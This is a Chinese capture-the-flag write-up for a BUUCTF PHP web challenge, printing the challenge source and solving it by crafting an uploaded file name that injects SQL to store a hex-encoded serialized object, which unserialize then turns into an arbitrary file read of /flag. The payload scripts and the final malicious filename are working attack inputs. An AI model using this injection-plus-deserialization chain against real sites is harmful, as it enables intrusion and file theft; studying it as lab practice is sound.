78,【2】BUUCTF WEB .[安洵杯 2019]不是文件

进入靶场

解题过程

点击最下面的英文字即可上传图片

新建一个文本文档

里面内容为空

更改名字为

1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png

知道id=1,一般id是get方式传参,在url处补充?id=1

点击最下面的英文句子

看到flag

源码

upload.php

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <!-- 设置网页的标题,会显示在浏览器的标签页上 -->
    <title>Image Upload</title>
    <!-- 引入外部的 CSS 样式表,用于美化页面 -->
    <link rel="stylesheet" href="./style.css">
    <!-- 设置网页的字符编码为 UTF - 8,确保页面能正确显示各种字符 -->
    <meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
    <!-- 使用 p 标签并设置居中对齐,展示一张图片,图片的宽度为 300,注意这里 length 属性使用有误,应为 height -->
    <p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 height=150></p>
    <!-- 使用 div 标签将表单居中显示 -->
    <div align="center">
        <!-- 创建一个名为 upload 的表单,表单提交的目标地址为空(表示提交到当前页面),使用 POST 方法,
             enctype 设置为 multipart/form - data 用于上传文件 -->
        <form name="upload" action=""  method="post" enctype ="multipart/form-data" >
            <!-- 创建一个文件选择框,用户可以通过此选择要上传的文件 -->
            <input type="file" name="file">
            <!-- 创建一个提交按钮,按钮上显示的文字为 submit -->
            <input type="Submit" value="submit">
        </form>
    </div>

    <!-- 插入一个换行符 -->
    <br> 
    <!-- 创建一个链接,点击后会跳转到 show.php 页面,提示用户可以在此查看上传的图片 -->
    <p><a href="./show.php">You can view the pictures you uploaded here</a></p>
    <!-- 插入一个换行符 -->
    <br>

    <?php
    // 包含 helper.php 文件,该文件可能包含了一些辅助函数或类的定义
    include("./helper.php");
    // 定义一个名为 upload 的类,继承自 helper 类
    class upload extends helper {
        // 定义一个公共方法 upload_base,用于调用父类的 upload 方法
        public function upload_base(){
            $this->upload();
        }
    }

    // 检查 $_FILES 数组是否存在(即是否有文件被上传)
    if ($_FILES){
        // 检查上传文件是否有错误
        if ($_FILES["file"]["error"]){
            // 如果有错误,终止脚本并输出上传失败的提示信息
            die("Upload file failed.");
        }else{
            // 如果没有错误,创建一个 upload 类的实例
            $file = new upload();
            // 调用 upload_base 方法来处理文件上传
            $file->upload_base();
        }
    }

    // 创建一个 helper 类的实例,这里创建实例但未使用,可能后续代码会用到
    $a = new helper();
    ?>
</body>
</html>

show.php

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <!-- 设置页面标题,会显示在浏览器标签栏 -->
    <title>Show Images</title>
    <!-- 引入外部 CSS 样式表,用于美化页面 -->
    <link rel="stylesheet" href="./style.css">
    <!-- 设置页面的字符编码为 UTF - 8,确保正确显示各种字符 -->
    <meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>

    <!-- 显示一个居中对齐的二级标题 -->
    <h2 align="center">Your images</h2>
    <!-- 显示一段提示信息,告知用户查看图片功能未完成,目前仅保存图片名称 -->
    <p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
    <!-- 插入一条水平线 -->
    <hr>

    <?php
    // 包含 helper.php 文件,可能包含一些辅助函数或类
    include("./helper.php");
    // 创建 show 类的一个实例
    $show = new show();
    // 检查 URL 参数中是否有 delete_all
    if($_GET["delete_all"]){
        // 检查 delete_all 参数的值是否为 true
        if($_GET["delete_all"] == "true"){
            // 调用 show 类的 Delete_All_Images 方法删除所有图片记录
            $show->Delete_All_Images();
        }
    }
    // 调用 show 类的 Get_All_Images 方法获取并显示所有图片信息
    $show->Get_All_Images();

    // 定义 show 类,用于处理图片显示和删除操作
    class show{
        // 定义一个公共属性 $con,用于存储数据库连接对象
        public $con;

        // 构造函数,在创建类的实例时自动调用
        public function __construct(){
            // 连接到 MySQL 数据库,指定主机、用户名、密码和数据库名
            $this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
            // 检查数据库连接是否失败
            if (mysqli_connect_errno($this->con)){ 
                // 如果连接失败,终止脚本并输出错误信息
                die("Connect MySQL Fail:".mysqli_connect_error());
            }
        }

        // 定义 Get_All_Images 方法,用于获取并显示所有图片信息
        public function Get_All_Images(){
            // 定义 SQL 查询语句,用于从 images 表中选取所有记录
            $sql = "SELECT * FROM images";
            // 执行 SQL 查询,并将结果存储在 $result 变量中
            $result = mysqli_query($this->con, $sql);
            // 检查查询结果中是否有记录
            if ($result->num_rows > 0){
                // 如果有记录,逐行遍历结果集
                while($row = $result->fetch_assoc()){
                    // 检查图片的 attr 字段是否有值
                    if($row["attr"]){
                        // 对 attr 字段的值进行处理,将 \0\0\0 替换为 \0*\0
                        $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
                        // 对处理后的 attr 字段值进行反序列化
                        $attr = unserialize($attr_temp);
                    }
                    // 输出图片的 id、文件名和路径信息
                    echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
                }
            } else {
                // 如果没有记录,输出提示信息
                echo "<p>You have not uploaded an image yet.</p>";
            }
            // 关闭数据库连接
            mysqli_close($this->con);
        }

        // 定义 Delete_All_Images 方法,用于删除 images 表中的所有记录
        public function Delete_All_Images(){
            // 定义 SQL 删除语句,用于删除 images 表中的所有记录
            $sql = "DELETE FROM images";
            // 执行 SQL 删除语句
            $result = mysqli_query($this->con, $sql);
        }
    }
    ?>

    <!-- 创建一个链接,点击后会调用 Delete_All_Images 方法删除所有图片记录 -->
    <p><a href="show.php?delete_all=true">Delete All Images</a></p>
    <!-- 创建一个链接,点击后跳转到 upload.php 页面进行图片上传 -->
    <p><a href="upload.php">Upload Images</a></p>

</body>
</html>

helper.php

php 复制代码
<?php
// 定义一个名为 helper 的类,该类包含了处理图片上传、文件检查、数据保存等功能的方法
class helper {
    // 定义一个受保护的属性 $folder,用于指定图片上传后的存储文件夹
    protected $folder = "pic/";
    // 定义一个受保护的属性 $ifview,用于控制查看文件功能是否开启,初始值为 False
    protected $ifview = False; 
    // 定义一个受保护的属性 $config,用于指定配置文件的名称
    protected $config = "config.txt";
    // 注释提示查看文件功能尚未完善,暂未开放

    /**
     * 处理文件上传的方法
     * @param string $input 上传文件的表单字段名,默认为 "file"
     */
    public function upload($input = "file")
    {
        // 调用 getfile 方法获取上传文件的信息
        $fileinfo = $this->getfile($input);
        // 初始化一个空数组,用于存储文件相关信息
        $array = array();
        // 将文件的标题信息存入数组
        $array["title"] = $fileinfo['title'];
        // 将文件名信息存入数组
        $array["filename"] = $fileinfo['filename'];
        // 将文件扩展名信息存入数组
        $array["ext"] = $fileinfo['ext'];
        // 将文件存储路径信息存入数组
        $array["path"] = $fileinfo['path'];
        // 获取上传图片的尺寸信息
        $img_ext = getimagesize($_FILES[$input]["tmp_name"]);
        // 提取图片的宽度和高度信息存入新数组
        $my_ext = array("width" => $img_ext[0], "height" => $img_ext[1]);
        // 对图片尺寸信息进行序列化处理,并存入数组
        $array["attr"] = serialize($my_ext);
        // 调用 save 方法将文件信息保存到数据库,并获取保存后的记录 ID
        $id = $this->save($array);
        // 检查保存操作是否成功,如果 ID 为 0 则表示出现问题,终止程序并输出错误信息
        if ($id == 0) {
            die("Something wrong!");
        }
        // 输出换行符
        echo "<br>";
        // 输出文件上传成功的提示信息,并显示文件记录的 ID
        echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
    }

    /**
     * 获取上传文件信息的方法
     * @param string $input 上传文件的表单字段名
     * @return array 包含文件标题、文件名、扩展名和存储路径的数组
     */
    public function getfile($input)
    {
        // 检查输入的表单字段名是否存在
        if (isset($input)) {
            // 调用 check 方法对上传的文件信息进行检查和处理
            $rs = $this->check($_FILES[$input]);
        }
        // 返回处理后的文件信息数组
        return $rs;
    }

    /**
     * 检查上传文件的方法
     * @param array $info 上传文件的信息数组
     * @return array 包含处理后文件标题、文件名、扩展名和存储路径的数组
     */
    public function check($info)
    {
        // 生成一个唯一的文件名前缀,使用时间戳和唯一 ID 进行 MD5 加密后截取部分字符
        $basename = substr(md5(time() . uniqid()), 9, 16);
        // 获取上传文件的原始文件名
        $filename = $info["name"];
        // 提取文件的扩展名
        $ext = substr(strrchr($filename, '.'), 1);
        // 定义允许上传的图片文件扩展名数组
        $cate_exts = array("jpg", "gif", "png", "jpeg");
        // 检查上传文件的扩展名是否在允许的扩展名数组中
        if (!in_array($ext, $cate_exts)) {
            // 如果不在允许范围内,终止程序并输出错误提示信息
            die("<p>Please upload the correct image file!!!</p>");
        }
        // 去除文件名中的扩展名,得到文件标题
        $title = str_replace("." . $ext, '', $filename);
        // 返回包含文件标题、处理后的文件名、扩展名和存储路径的数组
        return array('title' => $title, 'filename' => $basename . "." . $ext, 'ext' => $ext, 'path' => $this->folder . $basename . "." . $ext);
    }

    /**
     * 保存文件信息到数据库的方法
     * @param array $data 包含文件信息的数组
     * @return int 保存记录的 ID
     */
    public function save($data)
    {
        // 检查传入的数据是否为空或不是数组类型
        if (!$data || !is_array($data)) {
            // 如果不符合要求,终止程序并输出错误信息
            die("Something wrong!");
        }
        // 调用 insert_array 方法将数据插入数据库,并获取插入记录的 ID
        $id = $this->insert_array($data);
        // 返回插入记录的 ID
        return $id;
    }

    /**
     * 将数组数据插入数据库的方法
     * @param array $data 包含文件信息的数组
     * @return int 插入记录的 ID
     */
    public function insert_array($data)
    {
        // 连接到 MySQL 数据库,指定主机、用户名、密码和数据库名
        $con = mysqli_connect("127.0.0.1", "r00t", "r00t", "pic_base");
        // 检查数据库连接是否失败
        if (mysqli_connect_errno($con)) {
            // 如果连接失败,终止程序并输出错误信息
            die("Connect MySQL Fail:" . mysqli_connect_error());
        }
        // 初始化一个空数组,用于存储 SQL 语句中的字段名
        $sql_fields = array();
        // 初始化一个空数组,用于存储 SQL 语句中的字段值
        $sql_val = array();
        // 遍历传入的数据数组
        foreach ($data as $key => $value) {
            // 对字段名进行处理,将特定字符替换为 \0\0\0
            $key_temp = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $key);
            // 对字段值进行处理,将特定字符替换为 \0\0\0
            $value_temp = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $value);
            // 将处理后的字段名添加到字段名数组中,并添加反引号
            $sql_fields[] = "`" . $key_temp . "`";
            // 将处理后的字段值添加到字段值数组中,并添加单引号
            $sql_val[] = "'" . $value_temp . "'";
        }
        // 构建插入数据的 SQL 语句
        $sql = "INSERT INTO images (" . (implode(",", $sql_fields)) . ") VALUES(" . (implode(",", $sql_val)) . ")";
        // 执行 SQL 插入语句
        mysqli_query($con, $sql);
        // 获取插入记录的 ID
        $id = mysqli_insert_id($con);
        // 关闭数据库连接
        mysqli_close($con);
        // 返回插入记录的 ID
        return $id;
    }

    /**
     * 查看文件内容的方法
     * @param string $path 文件的路径
     * @return bool|void 如果查看功能未开启,返回 False;否则输出文件内容
     */
    public function view_files($path)
    {
        // 检查查看功能是否开启
        if ($this->ifview == False) {
            // 如果未开启,返回 False
            return False;
           
        }
        // 读取指定路径文件的内容
        $content = file_get_contents($path);
        // 输出文件内容
        echo $content;
    }

    /**
     * 析构函数,在对象销毁时调用
     */
    function __destruct()
    {
        // 注释提示会读取一些配置 HTML 文件
        // 调用 view_files 方法读取配置文件内容
        $this->view_files($this->config);
    }
}

?>

解题思路

由于 array 数组中有 title、filename、ext、path、attr 这 5 个键 - 值对,所以在遍历过程中,sql_fields 数组就会对应生成 5 个列名(即 title、filename、ext、path、attr 处理后的形式),$sql_val 数组也会对应生成 5 个值,以满足构建 INSERT INTO 语句时列名和对应插入值数量匹配的要求,这样才能正确地将数据插入到 images 表中。

show.php会进行反序列化

而attr存储的是图片的宽度和高度

payload

php 复制代码
<?php
class helper {
    protected $ifview = True; 
    protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
php 复制代码
O:6:"helper":2:{s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}

文件名中不能有双引号,所以将payload进行16进制编码

python 复制代码
string = 'O:6:"helper":2:{s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}'
hex_encoded = string.encode('utf - 8').hex()
print(hex_encoded)

得到4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

最后用#注释掉值,防止报错

1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png

相关推荐
信创DevOps先锋3 分钟前
本土化突围:Gitee如何重新定义企业级项目管理工具价值
前端·gitee·jquery
圣光SG14 分钟前
Java类与对象及面向对象基础核心详细笔记
java·前端·数据库
Jinuss23 分钟前
源码分析之React中的useImperativeHandle
开发语言·前端·javascript
ZC跨境爬虫36 分钟前
CSS核心知识点与定位实战全解析(结合Playwright爬虫案例)
前端·css·爬虫
Jinuss37 分钟前
源码分析之React中的forwardRef解读
前端·javascript·react.js
mengsi5540 分钟前
Antigravity IDE 在浏览器上 verify 成功但本地 IDE 没反应 “开启Tun依然无济于事” —— 解决方案
前端·ide·chrome·antigravity
Можно1 小时前
pages.json 和 manifest.json 有什么作用?uni-app 核心配置文件详解
前端·小程序·uni-app
hzhsec1 小时前
钓鱼邮件分析与排查
服务器·前端·安全·web安全·钓鱼邮件
#做一个清醒的人1 小时前
Electron 保活方案:用子进程彻底解决原生插件崩溃问题
前端·electron·node.js